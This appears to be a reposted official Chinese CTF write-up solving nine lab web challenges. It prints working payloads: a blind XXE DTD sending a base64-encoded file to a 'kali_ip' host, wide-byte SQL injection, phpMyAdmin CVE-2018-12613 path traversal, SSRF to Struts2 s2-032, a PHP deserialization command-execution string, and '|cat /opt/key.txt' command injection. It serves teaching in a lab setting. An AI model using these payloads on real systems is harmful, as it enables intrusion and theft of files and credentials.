zoukankan      html  css  js  c++  java
  • 【CTF】合天御宅战役官方WP

    0x01 :你的脑袋有点大(http头)

    0x02 后台登陆(http头+sql注入)

    打开页面可以看到没有访问权限,可以利用构造XFF头

    进去后利用万能密码 ,密码随便输

    猜测后台sql语句select * from user where username = '$name' and password='$passowrd'

    0x03 又是登陆(blind xxe)

    <!ENTITY % p1 SYSTEM "php://filter/convert.base64-encode/resource=/opt/password.txt">
    <!ENTITY % p2 "<!ENTITY e2 SYSTEM 'http://kali_ip/msg?%p1;'>">
    %p2;
    

    <?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "http://10.1.1.135/2.dtd">
    <foo>&e2;</foo>
    

    heetianlab/heetian_v5

    0x04 合天网安新闻(宽字节注入)
    过滤空格、select、union

    http://10.1.1.100/new.php?id=-1�'+Union+Select+1,flag,3+from+flag%23

    0x05 后台的key
    1.打开地址发现是一个熊海cms

    2.题目是后台的key,我们来访问一下后台试一试10.1.1.200/houtai/admin发现跳转到admin后台登录位置

    3.随意输入admin 123456抓包

    4.修改包r=wlist,然后加上Cookie:user=admin

    5.forward放包成功登陆后台,查看源码可以看到key

    0x06 有趣的SSRF

    1.打开可以看到是个有回显的ssrf,既然有回显那我们直接读key不就可以吗?

    1. 尝试file协议读取/opt/key.txt,发现无内容,继续尝试读取/etc/passwd发现还是无回显,猜测其可能是禁止我们使用file协议.
    2. 既然file协议不通,那说明考点不在这。那我们来一波端口探测:

    可以看到成功回显了ssh的banner信息,继续进行其他端口探测。
    4. 经过测试发现其开放了8080端口,而且还是个struts2

    1. 于是想到了利用ssrf打struts2,这道题的考点一定是这个,于是测试相关payload,发现其存在s2-032。
    2. 直接利用payload读取key:

    0x07 PHPMYADMIN(CVE-2018-12613)

    1.访问phpmyadmin,尝试使用默认口令root/root进行登录,登录后可以看到phpmyadmin版本为4.8.1,想到cve-2018-12613文件包含漏洞。

    从题目描述得知flag可能存在于/opt/key.txt下面,因为该漏洞可以包含任意文件,所以尝试直接包含flag文件
    2. 构造paylaod读取系统文件:
    Payload:http://10.1.1.100/phpmyadmin/index.php?target=db_export.php%3f/../../../../../../../../../opt/key.txt

    0x08 统一登录平台

    1. 尝试弱口令登录,万能密码登陆,sql注入,未果
    2. 目录扫描
      使用开源目录扫描工具dirsearch进行目录扫描
      disearch:https://github.com/maurosoria/dirsearch
      cd /root/Desktop/dirsearch
      python3 dirsearch.py –u ‘http://10.1.1.100/tongyidenglu/’ –e php

    发现robots.txt文件,访问后内容如下,推测flag文件所在位置为/opt/key.txt:

    发现www.tar.gz压缩包,下载后解压查看内容推测为网站部分源代码:

    cd /root/Downloads
    tar –xzf www.tar.gz

    进行代码审计,发现common目录下的home.php文件存在反序列化操作,反序列化的对象为post方式用户提交的a参数,故在此a为可控点,我们可以寻找一处可以触发敏感操作的地方。

    在对象销毁时,会自动调用我们这里自定义函数__destruct()方法。【已在图中中标明函数介绍】这里存在一处敏感操作,去执行回调函数,根据我们home对象中的method属性的值去调用哪个方法,这里有一个ping方法,ping方法中使用了敏感函数system,所以我们在实例化对象时可以将method属性设置为ping,这里没有对args参数做限制【除了一开始的去除空格】,所以我们可以尝试命令执行。

    得到:O:4:"home":2:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:8:"1|whoami";}}
    这里有个需要注意的点,home类中的method及args属性均为private,在序列化后的字符串 中home method及home args左侧都有一个0x00

    因此我们在发送payload时需要加上%00。
    在构造payload时还需要注意绕过空格的限制:

    因此payload为(在/root/Desktop/re.txt文件中):
    a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:23:"1|cat${IFS}/opt/key.txt";}}

    Bp发包即可得到flag。

    继续代码审计,发现lib目录下的User.php文件,其中有定义Login登陆功能、register注册功能、upload文件上传功能、ping等;

    当我们使用弱口令登陆时可发现调用login登录函数的方式:
    http://10.1.1.100/tongyidenglu/index.php?c=User&a=login

    可以发现这里的ping函数使用POST请求方式接受用户传递的host参数,并且未经过滤的代入危险函数system中执行,可确定存在命令执行漏洞。

    调用ping函数:
    http://10.1.1.100/tongyidenglu/index.php?c=User&a=ping
    传递payload:
    host=127.0.0.1|cat /opt/key.txt

    0x09 听说越权就送flag

    1. 打开题目可以看到是一个商城

    2. 根据题目提示这个是越权漏洞,我们首先注册一个用户查看

    3. 注册账号

    4. 登录用户中心查看功能找到收货地址功能

    5. 首先随意创建一个地址

    6. 对创建好的地址点击修改,在burp里面可以看到数据包对应的地址id为3,那么前面id为2 、id为1的内容是什么呢

    7. 访问地址10.1.1.100/TinyShop3/index.php?con=simple&act=address_other&id=3可以发现这里就是我自己的地址

    8. 访问10.1.1.100/TinyShop3/index.php?con=simple&act=address_other&id=2可以看到获取到key通关

  • 相关阅读:
    Elasticsearch 架构解析与最佳实践
    Redis一键安装脚本
    Android——GridView(网格视图)相关知识总结贴
    Android——TabHost(标签容器)相关知识总结贴
    Android——RatingBar(评价条)相关知识总结贴
    Android——SeekBar(拖动条)相关知识总结贴
    Android——SQLite/数据库 相关知识总结贴
    Android——媒体库 相关知识总结贴
    Android——Broadcast Receive 相关知识总结贴
    Android——进程通信/ AIDL/Message相关知识总结贴
  • 原文地址:https://www.cnblogs.com/marcus666/p/12960963.html
Copyright © 2011-2022 走看看